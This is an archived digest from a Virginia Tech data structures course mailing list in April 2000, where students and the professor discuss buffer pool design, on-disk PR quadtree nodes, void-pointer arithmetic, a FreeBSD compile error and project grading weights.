we do a get we first get the size because we know it's the first thing > > stored, then we can complete the rest of the get. There is one > > problem with this however, what if the 4 bytes of size data crosses > > blocks? I haven't figured out a good way to combat this problem so > > for now I'm just ignoring it and hoping it won't happen. > > that's easy, if you tell the buffer pool you want 4 bytes (to read the size) and the > size spans two buffers, then the buffer pool still knows you want 4 bytes and will > know to span the buffers. > > I think you misunderstood my question though, I was asking how do the internalnodes > of the buffer pool know what a handle is linked to in the buffer blocks? > > ie: you have the two nodes stored in one block, you call BufferPool.Read (Handle, > Size); > how does it take handle and figure out which part of which buffer block to read? > more specifically, how does the buffer pool store what handle is associated with what > position in the buffer block, if this makes sense.. > > inserting data in the buffer pool, the buffer pool takes Handle, Size, and Data > it writes Size bytes of Data into a block, and then what does it do with Handle? > Does it store it in some linked list in the internal buffer block? > ========================================================================= Date: Fri, 28 Apr 2000 14:40:40 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "Jason E. Holdren" Subject: Grading MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Is there any way that someone (GTA/Professor) could tell us how much each function of the program (i.e. Insert, Delete, Search, Documentation, etc.) is worth or at least an order of the functions from most important to least important? jason ========================================================================= Date: Fri, 28 Apr 2000 19:57:38 +0000 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Dmitry Bocharnikov Subject: Section 1369 final? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi. Could someone please tell me when and where is 11M section's final. Thanks ========================================================================= Date: Fri, 28 Apr 2000 15:11:54 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Mike Schaefer Subject: Re: Bufferpool += Confusing MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="---- =_NextPart_000_01BFB124.176DE400" ------ =_NextPart_000_01BFB124.176DE400 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable The buffer pool doesn't take a block as it's input, but rather a = position. I.e. if a 17 byte node is at position 0 and you wanted the = block right after that you would do: BufferPool.Read(17, 4) to begin = with where 17 is your handle and 4 is the size. The ID is no longer the = BlockID, but rather a position. -----Original Message----- From: Brandon Horsley [SMTP:whorsley@VT.EDU] Sent: Friday, April 28, 2000 11:07 AM To: CS2604@LISTSERV.VT.EDU Subject: Re: Bufferpool +=3D Confusing > When we do a get we first get the size because we know it's the first = thing > stored, then we can complete the rest of the get. There is one > problem with this however, what if the 4 bytes of size data crosses > blocks? I haven't figured out a good way to combat this problem so > for now I'm just ignoring it and hoping it won't happen. that's easy, if you tell the buffer pool you want 4 bytes (to read the = size) and the size spans two buffers, then the buffer pool still knows you want 4 = bytes and will know to span the buffers. I think you misunderstood my question though, I was asking how do the = internalnodes of the buffer pool know what a handle is linked to in the buffer blocks? ie: you have the two nodes stored in one block, you call BufferPool.Read = (Handle, Size); how does it take handle and figure out which part of which buffer block = to read? more specifically, how does the buffer pool store what handle is = associated with what position in the buffer block, if this makes sense.. inserting data in the buffer pool, the buffer pool takes Handle, Size, = and Data it writes Size bytes of Data into a block, and then what does it do with = Handle? Does it store it in some linked list in the internal buffer block? ------ =_NextPart_000_01BFB124.176DE400 Content-Type: application/ms-tnef Content-Transfer-Encoding: base64 eJ8+IjcTAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEEkAYAtAEAAAEAAAAQAAAAAwAAMAIAAAAL AA8OAAAAAAIB/w8BAAAASwAAAAAAAACBKx+kvqMQGZ1uAN0BD1QCAAAAAENTMjYwNCBkaXNjdXNz aW9uIGxpc3QAU01UUABDUzI2MDRAbGlzdHNlcnYudnQuZWR1AAAeAAIwAQAAAAUAAABTTVRQAAAA AB4AAzABAAAAFwAAAENTMjYwNEBsaXN0c2Vydi52dC5lZHUAAAMAFQwBAAAAAwD+DwYAAAAeAAEw AQAAABkAAAAnQ1MyNjA0IGRpc2N1c3Npb24gbGlzdCcAAAAAAgELMAEAAAAcAAAAU01UUDpDUzI2 MDRATElTVFNFUlYuVlQuRURVAAMAADkAAAAACwBAOgEAAAAeAPZfAQAAABcAAABDUzI2MDQgZGlz Y3Vzc2lvbiBsaXN0AAACAfdfAQAAAEsAAAAAAAAAgSsfpL6jEBmdbgDdAQ9UAgAAAABDUzI2MDQg ZGlzY3Vzc2lvbiBsaXN0AFNNVFAAQ1MyNjA0QGxpc3RzZXJ2LnZ0LmVkdQAAAwD9XwEAAAADAP9f AAAAAAIB9g8BAAAABAAAAAAAAALhVwEEgAEAHAAAAFJFOiBCdWZmZXJwb29sICs9IENvbmZ1c2lu ZwBZCQEFgAMADgAAANAHBAAcAA8ACwA2AAUATAEBIIADAA4AAADQBwQAHAAPAAkAIAAFADQBAQmA AQAhAAAANjJFQzhGODNCMDFDRDQxMUE2QTQwMEEwQzk4NEVDNDYAMAcBA5AGAIgMAAAhAAAACwAC AAEAAAALACMAAAAAAAMAJgAAAAAACwApAAAAAAADAC4AAAAAAAMANgAAAAAAQAA5AMAfz51Fsb8B HgBwAAEAAAAcAAAAUkU6IEJ1ZmZlcnBvb2wgKz0gQ29uZnVzaW5nAAIBcQABAAAAFgAAAAG/sUWd sIOP7GMcsBHUpqQAoMmE7EYAAB4AHgwBAAAABQAAAFNNVFAAAAAAHgAfDAEAAAAQAAAAbWlzY2hh ZWZAdnQuZWR1AAMABhBthmF5AwAHEFEFAAAeAAgQAQAAAGUAAABUSEVCVUZGRVJQT09MRE9FU05U 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 AAMADTT9NwAAoG8= ------ =_NextPart_000_01BFB124.176DE400-- ========================================================================= Date: Fri, 28 Apr 2000 15:51:47 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brandon Horsley Subject: Buffer pool question MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit The buffer pool for this project only needs a Read and a Write, correct? We never have the buffer pool delete anything, all delete calls are sent to the memory manager which simply marks that space as free space (because it thinks it's already written to disk). Is this correct? ========================================================================= Date: Fri, 28 Apr 2000 16:54:10 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Buffer pool question In-Reply-To: <3909EBD2.E4EA60CD@vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 28 Apr 2000, Brandon Horsley wrote: > The buffer pool for this project only needs a Read and a Write, correct? We > never have the buffer pool delete anything, all delete calls are sent to the > memory manager which simply marks that space as free space (because it thinks > it's already written to disk). > > Is this correct? Yes. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Fri, 28 Apr 2000 17:03:38 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Grading In-Reply-To: <3.0.6.32.20000428144040.007a41c0@mail.vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 28 Apr 2000, Jason E. Holdren wrote: > Is there any way that someone (GTA/Professor) could tell us how much each > function of the program (i.e. Insert, Delete, Search, Documentation, etc.) > is worth or at least an order of the functions from most important to least > important? Total: 150 Doc/Style: 20 Design: 40 Correctness: 90 Insert, search, and delete have roughly equal weight. You should probably implement them in that order. Note that while the tree printout function is not worth many points, if it doesn't work then we can't know that much else works, either, so it would be hard to give you credit. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Fri, 28 Apr 2000 17:57:50 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Richard Bowman Subject: compilation error with on FreeBSD MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit I wrote my program on Linux, but know the graders will be using FreeBSD, so I tried it on my lab account. When compiling, I got this error!! Doesn't make much sense because it works fine on FreeBSD. Maybe someone should get brave around here and upgrade gcc on these machines! Any fix will be greatly appreciated! Richard In file included from /usr/include/g++/std/bastring.h:571, from /usr/include/g++/std/string.h:6, from /usr/include/g++/string:5, from LeafNode.h:12, from IntNode.h:12, from IntNode.cpp:12: /usr/include/g++/std/sinst.h:60: ambiguous template instantiation for `operator !=(const char *, const basic_string > &)' requested /usr/include/g++/std/sinst.h:60: ambiguous template instantiation for `operator !=(const basic_string > &, const char *)' requested /usr/include/g++/std/sinst.h:62: ambiguous template instantiation for `operator >(const char *, const basic_string > &)' requested/usr/include/g++/std/sinst.h:62: ambiguous template instantiation for `operator >(const basic_string > &, const char *)' requested/usr/include/g++/std/sinst.h:63: ambiguous template instantiation for `operator <=(const char *, const basic_string > &)' requested /usr/include/g++/std/sinst.h:63: ambiguous template instantiation for `operator <=(const basic_string > &, const char *)' requested /usr/include/g++/std/sinst.h:64: ambiguous template instantiation for `operator >=(const char *, const basic_string > &)' requested /usr/include/g++/std/sinst.h:64: ambiguous template instantiation for `operator >=(const basic_string > &, const char *)' requested *** Error code 1 ========================================================================= Date: Fri, 28 Apr 2000 17:37:51 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Blain Subject: General Misunderstanding of what the PRQ tree actually stores In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit I'm having some issues understand exactly what it is the PRQuad tree stores. I have the memory manager and buffer system all completely functional and was just looking over my old PRQ tree code. Now we are required to use internal and external nodes using inheritance (which I had on my original project) What I don't understand is what those nodes store anymore. If we are storing *ALL* the data on the disk we don't really need nodes anymore. All we would need is to know the "root" of the PRQuadtree which would just be an int (handle pointing to disk). From there, we simply pull that from the memory manager if a handle is -1 then it's an empty branch. So instead of any pointer all we have is an int which is another disk location. If the handle has a number then you recursively keep going down the tree (on disk) to get it. Right? So I guess essentially what I'm asking is what should the nodes look like? I just don't see a need for them anymore at all if we're storing the stuff on disk anyways. I'd really appreciate an explanation of this so i can wrap this up. Got a busy night and weekend ahead of me and wanted to wrap this up tonight. thanks! =blain timberlake => -----Original Message----- => From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of => Cliff Shaffer => Sent: Friday, April 28, 2000 5:04 PM => To: CS2604@LISTSERV.VT.EDU => Subject: Re: Grading => => => On Fri, 28 Apr 2000, Jason E. Holdren wrote: => => > Is there any way that someone (GTA/Professor) could tell us => how much each => > function of the program (i.e. Insert, Delete, Search, => Documentation, etc.) => > is worth or at least an order of the functions from most => important to least => > important? => => Total: 150 => => Doc/Style: 20 => Design: 40 => Correctness: 90 => => Insert, search, and delete have roughly equal weight. => You should probably implement them in that order. Note that while the => tree printout function is not worth many points, if it doesn't work then => we can't know that much else works, either, so it would be hard to give => you credit. => => -- => Cliff Shaffer, Associate Professor Phone: (540) 231-4354 => Department of Computer Science Email: shaffer@cs.vt.edu => Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer => ----------------------------------------------------------------- => -------- ========================================================================= Date: Fri, 28 Apr 2000 20:48:25 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Tanner Bonig Subject: Advancing a pointer. MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Ok, so I saw this cool thing a while back with a char* SOMETEXT where the SOMETEXT pointed to "Hello World". now, when SOMETEXT += 6; was done SOMETEXT pointed to "World". Ok, really cool trick (could you call it that) now I want to do this with a void*... but when I compile I get "error C2036: 'void *' : unknown size" which I understand, but does anyone have an idea on how I could do this "pointer advancing"??? Tanner ========================================================================= Date: Sun, 28 Apr 2030 21:33:50 +0100 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: John Gordon Subject: Re: Advancing a pointer. MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit temporarily make it any specific type of pointer, ie if you just read an int, ((int*)& whatever is a void pointer)++ or if you prefer char arrays you can use the old ((char*)&whatever is a void pointer)++ for one byte of movement im not sure, but you may need to dereference to void pointer to have the other types actually point to what the void pointer is pointing to ie ((char*)&*whatever is a void pointer)++ john ----- Original Message ----- From: "Tanner Bonig" To: Sent: Saturday, April 29, 2000 1:48 AM Subject: Advancing a pointer. > Ok, so I saw this cool thing a while back with a char* SOMETEXT where the > SOMETEXT pointed to "Hello World". > now, when SOMETEXT += 6; was done SOMETEXT pointed to "World". Ok, really > cool trick (could you call it that) > now I want to do this with a void*... but when I compile I get "error C2036: > 'void *' : unknown size" which I understand, but does anyone have an idea on > how I could do this "pointer advancing"??? > > Tanner ========================================================================= Date: Fri, 28 Apr 2000 21:41:45 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jonathan Pryor Subject: Re: compilation error with on FreeBSD In-Reply-To: <390A095E.7B8B1464@vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Move to the top of your #include list. I don't know what the problem is (exactly), but when I've worked on the FreeBSD machines, this has tended to fix the problem. - Jon > -----Original Message----- > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > Richard Bowman > Sent: Friday, April 28, 2000 5:58 PM > To: CS2604@LISTSERV.VT.EDU > Subject: compilation error with on FreeBSD > > > I wrote my program on Linux, but know the graders will be using FreeBSD, > so I tried it on my lab account. When compiling, I got this error!! > Doesn't make much sense because it works fine on FreeBSD. Maybe someone > should get brave around here and upgrade gcc on these machines! > > Any fix will be greatly appreciated! > > Richard > > > > > > In file included from /usr/include/g++/std/bastring.h:571, > from /usr/include/g++/std/string.h:6, > from /usr/include/g++/string:5, > from LeafNode.h:12, > from IntNode.h:12, > from IntNode.cpp:12: > /usr/include/g++/std/sinst.h:60: ambiguous template instantiation for > `operator > !=(const char *, const basic_string > &)' > requested > /usr/include/g++/std/sinst.h:60: ambiguous template instantiation for > `operator > !=(const basic_string > &, const char *)' > requested > /usr/include/g++/std/sinst.h:62: ambiguous template instantiation for > `operator > >(const char *, const basic_string > &)' > requested/usr/include/g++/std/sinst.h:62: ambiguous template > instantiation for `operator > >(const basic_string > &, const char *)' > requested/usr/include/g++/std/sinst.h:63: ambiguous template > instantiation for `operator > <=(const char *, const basic_string > &)' > requested > /usr/include/g++/std/sinst.h:63: ambiguous template instantiation for > `operator > <=(const basic_string > &, const char *)' > requested > /usr/include/g++/std/sinst.h:64: ambiguous template instantiation for > `operator > >=(const char *, const basic_string > &)' > requested > /usr/include/g++/std/sinst.h:64: ambiguous template instantiation for > `operator > >=(const basic_string > &, const char *)' > requested > *** Error code 1 ========================================================================= Date: Fri, 28 Apr 2000 23:12:36 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: jon Subject: Re: General Misunderstanding of what the PRQ tree actually stores MIME-version: 1.0 Content-type: text/plain; charset=us-ascii At 05:37 PM 4/28/00 -0400, you wrote: >I'm having some issues understand exactly what it is the PRQuad tree stores. ... >If we are storing *ALL* the data on the disk we don't really need nodes You're so right. All I stored in my nodes were pointers to the memory manager and the handle of their data. The leaf and internal nodes had corresponding data structures (see my post about #pragma pack()) into which their access functions read data from the memory pool temporarily and then wrote it back. It's lame, but it seemed like the least immoral way to meet the project requirements. I suspect that the best solution would involve overloading a bunch of operators within the memory manager so you could reuse P2 code exactly, keeping the data members in the nodes like before. Has anyone else come up with a decent solution? Jon ========================================================================= Date: Fri, 28 Apr 2000 23:45:41 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ted Hessing Subject: Re: General Misunderstanding of what the PRQ tree actually stores In-Reply-To: <2.2.32.20000429031236.00bf3acc@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit My question is similar. My implementation of the PRQT is really just a bunch of recursive methods that act upon the disk(bin file) itself after going through the file manager and buffer(s) as needed. I don't have a class for my nodes anymore as I do not store them in memory (even my root is stored on disk). What am I supposed to inherit if I don't use a class for my nodes? Will I be docked points because I have no need for a class? If so, what should I be doing? -Ted. ========================================================================= Date: Sat, 29 Apr 2000 01:55:14 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: Advancing a pointer. In-Reply-To: <003501e1535d$603beef0$7d6d52c6@pooky> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Ah, but pointer arithmetic is more complex than that. Say that you have the following. void * Advance(void * x) { /* */ } And you replace /* */ with either of the two lines following. return (void *)(((int *)x)+1); return (void *)(((char *)x)+1); Now say that x originally pointed to byte 30 of memory. If you use the first line, it will now point to 34 (on a 32-bit architecture). If you use the second, it will point to 31. This is why the following are equivalent. sometype x[10]; sometype *y; y = &x[3]; y = x + 3; The moral: don't use pointer arithmetic unless you're 1) good or 2) masochistic or 3) trying to hack through an OS. On Sun, 28 Apr 2030, John Gordon wrote: > temporarily make it any specific type of pointer, ie if you just read an > int, ((int*)& whatever is a void pointer)++ > or if you prefer char arrays you can use the old ((char*)&whatever is a void > pointer)++ for one byte of movement > im not sure, but you may need to dereference to void pointer to have the > other types actually point to what the void pointer > is pointing to ie ((char*)&*whatever is a void pointer)++ > john > > ----- Original Message ----- > From: "Tanner Bonig" > To: > Sent: Saturday, April 29, 2000 1:48 AM > Subject: Advancing a pointer. > > > > Ok, so I saw this cool thing a while back with a char* SOMETEXT where the > > SOMETEXT pointed to "Hello World". > > now, when SOMETEXT += 6; was done SOMETEXT pointed to "World". Ok, really > > cool trick (could you call it that) > > now I want to do this with a void*... but when I compile I get "error > C2036: > > 'void *' : unknown size" which I understand, but does anyone have an idea > on > > how I could do this "pointer advancing"??? > > > > Tanner > ========================================================================= Date: Sat, 29 Apr 2000 02:00:19 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Garrett Berneche Subject: Re: General Misunderstanding of what the PRQ tree actually stores MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit short awnser: we have nodes because a tree is collection of nodes that are in a given pattern. long awnser: In the object oriented method of programing, the tree is seen as a bunch of connected nodes. The tree functions acts on node objects. If you wrote your original tree that way and suffeciently separated the node class from the tree class you should be able to reuse most of your code from project two(even if you did not use inheritence before). Just have the tree functions act temporarily build nodes from dynamic memory and then act those temp nodes, be sure to delete them afterwards. Then what do we store in the nodes? i assume your nodes used to be chock full of pointers the pointed to other nodes, well now you can use the handles returned by the memory manager to point to other nodes. GAB ----- Original Message ----- From: "jon" To: Sent: Friday, April 28, 2000 11:12 PM Subject: Re: General Misunderstanding of what the PRQ tree actually stores > At 05:37 PM 4/28/00 -0400, you wrote: > >I'm having some issues understand exactly what it is the PRQuad tree stores. > ... > >If we are storing *ALL* the data on the disk we don't really need nodes > > You're so right. All I stored in my nodes were pointers to the memory > manager and the handle of their data. The leaf and internal nodes had > corresponding data structures (see my post about #pragma pack()) into which > their access functions read data from the memory pool temporarily and then > wrote it back. > > It's lame, but it seemed like the least immoral way to meet the project > requirements. I suspect that the best solution would involve overloading a > bunch of operators within the memory manager so you could reuse P2 code > exactly, keeping the data members in the nodes like before. Has anyone else > come up with a decent solution? > > Jon ========================================================================= Date: Sat, 29 Apr 2000 02:13:49 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Tanner Bonig Subject: Re: Advancing a pointer. In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Thanks, I'll just assume "good" for your last statement. Pointer manipulation really isn't all that difficult, and actually I solved it about two seconds after I posted that message. Tanner -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of John Anthony Kazos Jr. Sent: Saturday, April 29, 2000 1:55 AM To: CS2604@LISTSERV.VT.EDU Subject: Re: Advancing a pointer. Ah, but pointer arithmetic is more complex than that. Say that you have the following. void * Advance(void * x) { /* */ } And you replace /* */ with either of the two lines following. return (void *)(((int *)x)+1); return (void *)(((char *)x)+1); Now say that x originally pointed to byte 30 of memory. If you use the first line, it will now point to 34 (on a 32-bit architecture). If you use the second, it will point to 31. This is why the following are equivalent. sometype x[10]; sometype *y; y = &x[3]; y = x + 3; The moral: don't use pointer arithmetic unless you're 1) good or 2) masochistic or 3) trying to hack through an OS. On Sun, 28 Apr 2030, John Gordon wrote: > temporarily make it any specific type of pointer, ie if you just read an > int, ((int*)& whatever is a void pointer)++ > or if you prefer char arrays you can use the old ((char*)&whatever is a void > pointer)++ for one byte of movement > im not sure, but you may need to dereference to void pointer to have the > other types actually point to what the void pointer > is pointing to ie ((char*)&*whatever is a void pointer)++ > john > > ----- Original Message ----- > From: "Tanner Bonig" > To: > Sent: Saturday, April 29, 2000 1:48 AM > Subject: Advancing a pointer. > > > > Ok, so I saw this cool thing a while back with a char* SOMETEXT where the > > SOMETEXT pointed to "Hello World". > > now, when SOMETEXT += 6; was done SOMETEXT pointed to "World". Ok, really > > cool trick (could you call it that) > > now I want to do this with a void*... but when I compile I get "error > C2036: > > 'void *' : unknown size" which I understand, but does anyone have an idea > on > > how I could do this "pointer advancing"??? > > > > Tanner > ========================================================================= Date: Sat, 29 Apr 2000 08:09:31 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Blain Subject: Re: General Misunderstanding of what the PRQ tree actually stores In-Reply-To: <000a01bfb1a0$329e44a0$2b6052c6@hellhound> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I guess. Seems that would be useful if we were storing out node placement to disk as well (to make a tree that was actually re-buildable from the .dat file). Otherwise it kinda seems like an odd way to make a "convenience" or being able to have functions print our X and Y. Glad to see I wasn't just completely off the target though. I guess I'll just rig up something like everyone else has done. =blain => short awnser: => we have nodes because a tree is collection of nodes that are in a given => pattern. => => long awnser: => In the object oriented method of programing, the tree is seen as => a bunch of => connected nodes. The tree functions acts on node objects. If => you wrote your => original tree that way and suffeciently separated the node class from the => tree class you should be able to reuse most of your code from project => two(even if you did not use inheritence before). Just have the tree => functions act temporarily build nodes from dynamic 